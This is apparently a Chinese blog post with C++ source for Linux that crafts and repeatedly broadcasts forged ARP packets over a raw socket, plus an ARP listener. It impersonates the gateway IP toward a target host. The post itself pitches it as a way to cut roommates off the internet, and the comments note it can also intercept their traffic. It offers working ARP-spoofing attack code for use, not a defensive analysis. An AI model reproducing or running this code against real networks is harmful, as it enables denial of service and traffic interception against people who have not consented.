1. 程式人生 > >linux 下C++實現 ARP釋出,和ARP監聽

linux 下C++實現 ARP釋出,和ARP監聽

改造自http://blog.csdn.net/xiaodao1986/article/details/6628250

g++ -o即可編譯通過。 ubuntu 14.04

可以用適當的方法,在寢室裡,讓室友不能上網。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netpacket/packet.h>
#include <net/ethernet.h>
#include <net/if_arp.h>
#include <iostream>
#include <unistd.h>

//如果只是想讓對方斷網,那就把mac源都設成MAC_TRICK,  
//想截獲資料包那就用MAC_SOURCE  
unsigned char MAC_MINE[]=  {0x00,0x0c,0x29,0x70,0xe2,0x67};
//{0x54, 0x27, 0x1E, 0x9D, 0x87, 0xF1};
//unsigned char MAC_SOURCE[]= {0x00, 0x0c, 0x29, 0xc7, 0x16, 0x33};
//冒充(me)的IP  
const  char IP_MINE[]= "192.168.31.1";
//目標機器的MAC  
unsigned char MAC_TARGET[]= {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
//目標機器的IP  

const char IP_TARGET[]= "192.168.31.73" ; 
//const char IP_TARGET[]= "192.168.31.255" ; 

class arp_header
{
	//DLC Header
	//接收方mac
	public:
		unsigned char mac_target[ETH_ALEN];
		//傳送方mac
		unsigned char mac_source[ETH_ALEN];
		//Ethertype - 0x0806是ARP幀的型別值
		unsigned short ethertype;
		//ARP Frame
		//硬體型別 - 乙太網型別值0x1
		unsigned short hw_type;
		//上層協議型別 - IP協議(0x0800)
		unsigned short proto_type;
		//MAC地址長度
		unsigned char mac_addr_len;
		//IP地址長度
		unsigned char ip_addr_len;
		//操作碼 - 0x1表示ARP請求包,0x2表示應答包
		unsigned short operation_code;
		//傳送方mac
		unsigned char mac_sender[ETH_ALEN];
		//傳送方ip
		unsigned char ip_sender[4];
		//接收方mac
		unsigned char mac_receiver[ETH_ALEN];
		//接收方ip
		unsigned char ip_receiver[4];
		//填充資料
		unsigned char padding[4];
};

class arp_packet
{
	private:
		arp_header ap;

	public:
		static void die(const char*pre);
		static void print_arp_packet(arp_header ap);

		void init_arp_server(); //arp監聽伺服器啟動


		void arp_server_run(arp_header &ah);//開啟監聽arp服務

		void init_arp_publish(unsigned char MAC_MINE[], const char IP_MINE[], unsigned char MAC_TARGET[], const char IP_TARGET[]);//開啟ARP釋出服務
		void arp_publish();//執行ARP釋出

	private:
		struct sockaddr_ll my_etheraddr, sl;
		int sfd;
		struct in_addr inaddr_sender, inaddr_receiver;  
}arp;



int main()
{
	arp_packet tmp;
	arp.init_arp_publish(MAC_MINE, IP_MINE, NULL, IP_TARGET);
	arp.arp_publish();
	return 0;

	/*
	   arp_header ah;

	   arp.init_arp_server();
	   arp.arp_server_run(ah);
	 */

	return 0;
}

void arp_packet::arp_publish()
{
	while(1)
	{
		int len = sendto(sfd, &ap, sizeof(ap), 0, (struct sockaddr*)&sl, sizeof(sl));
		print_arp_packet(ap);
		if(-1 == len)
		{
			die("sendto");
		}
		sleep(1);
	}
}


void arp_packet::die(const char*pre)
{
	perror(pre);
	exit(1);
}

void arp_packet::print_arp_packet(arp_header ap)
{
	printf("\n\n-----------------arp package begin--------------------------\n");

	printf("mac_target = ");
	for(int i = 0; i < ETH_ALEN; i++)
	{
		printf(i > 0 ? ":0x%.2x" : "0x%.2x", ap.mac_target[i]);
	}

	printf("\nmac_source = ");
	for(int i = 0; i < ETH_ALEN; i++)
	{
		printf(i > 0 ? ":0x%.2x" : "0x%.2x", ap.mac_source[i]);
	}

	printf("\nethertype = 0x%x", ntohs(ap.ethertype));
	printf("\nhw_type = 0x%x", ntohs(ap.hw_type));
	printf("\nproto_type = 0x%x", ntohs(ap.proto_type));
	printf("\nmac_addr_len = 0x%x", ap.mac_addr_len);
	printf("\nip_addr_len = 0x%x", ap.ip_addr_len);
	printf("\noperation_code = 0x%x", ntohs(ap.operation_code));

	printf("\nmac_sender = ");
	for(int i = 0; i < ETH_ALEN; i++)
	{
		printf(i > 0 ? ":0x%.2x" : "0x%.2x", ap.mac_sender[i]);
	}

	printf("\nip_sender = %s", inet_ntoa(*(struct in_addr*)(ap.ip_sender)));

	printf("\nmac_receiver = ");
	for(int i = 0; i < ETH_ALEN; i++)
	{
		printf(i > 0 ? ":0x%.2x" : "0x%.2x", ap.mac_receiver[i]);
	}

	printf("\nip_receiver = %s", inet_ntoa(*(struct in_addr*)(ap.ip_receiver)));

	printf("\n-----------------arp package end----------------------------\n");
}




void arp_packet::init_arp_publish(unsigned char MAC_MINE[], const char IP_MINE[], unsigned char MAC_TARGET[], const char IP_TARGET[])
{
	memset(this, 0, sizeof(*this));

	sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (sfd == -1)
	{
		perror("error : build socket\n");
		while(1);
	}

	if (MAC_TARGET == NULL)
	{
		memset(ap.mac_target, 0xff, sizeof(ap.mac_target));
	}
	else
	{
		memmove(ap.mac_target, MAC_TARGET, sizeof(MAC_TARGET));
	}

	memmove(ap.mac_source, MAC_MINE, sizeof(MAC_MINE));
	ap.ethertype = htons(0x0806);
	ap.hw_type = htons(0x1);
	ap.proto_type = htons(0x0800);
	ap.mac_addr_len = ETH_ALEN;
	ap.ip_addr_len = 4;
	ap.operation_code = htons(0x1);
	//mac_sender = MAC_MINE;  
	memmove(ap.mac_sender, MAC_MINE, sizeof(MAC_MINE));

	inet_aton(IP_MINE, &inaddr_sender);
	memcpy(&ap.ip_sender, &inaddr_sender, sizeof(inaddr_sender));
	//mac_receiver = MAC_TARGET;  
	memmove(&ap.mac_receiver, ap.mac_target, sizeof(ap.mac_target));
	inet_aton(IP_TARGET, &inaddr_receiver);
	memcpy(&ap.ip_receiver, &inaddr_receiver, sizeof(inaddr_receiver));

	memset(&sl, 0, sizeof(sl));
	sl.sll_family = AF_PACKET;
	//sl.sll_addr = MAC_SOURCE;  
	//sl.sll_halen = ETH_ALEN;  
	//sl.sll_ifindex = 0;//IFF_BROADCAST;//非常重要  
	sl.sll_ifindex = IFF_BROADCAST;//非常重要  
}

void arp_packet::init_arp_server()
{
	memset(&ap, 0, sizeof(arp_header));
	sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP));
	if (sfd == -1)
	{
		perror("error : build socket\n"); 
		while (1);
	}
	memset(&my_etheraddr, 0, sizeof(my_etheraddr));
	my_etheraddr.sll_family = AF_PACKET;
	my_etheraddr.sll_protocol = htons(ETH_P_ARP);
	my_etheraddr.sll_ifindex = IFF_BROADCAST;
	if (-1 == bind(sfd, (struct sockaddr *)&my_etheraddr, sizeof(my_etheraddr)))
	{
		perror("error : something wrong in bind \n");
		while (1);
	}

}

void arp_packet::arp_server_run(arp_header &ah)
{
	while(1)
	{
		if(-1 == recv(sfd, &ah, sizeof(ah), 0))
			continue;
		print_arp_packet(ah);
	}
}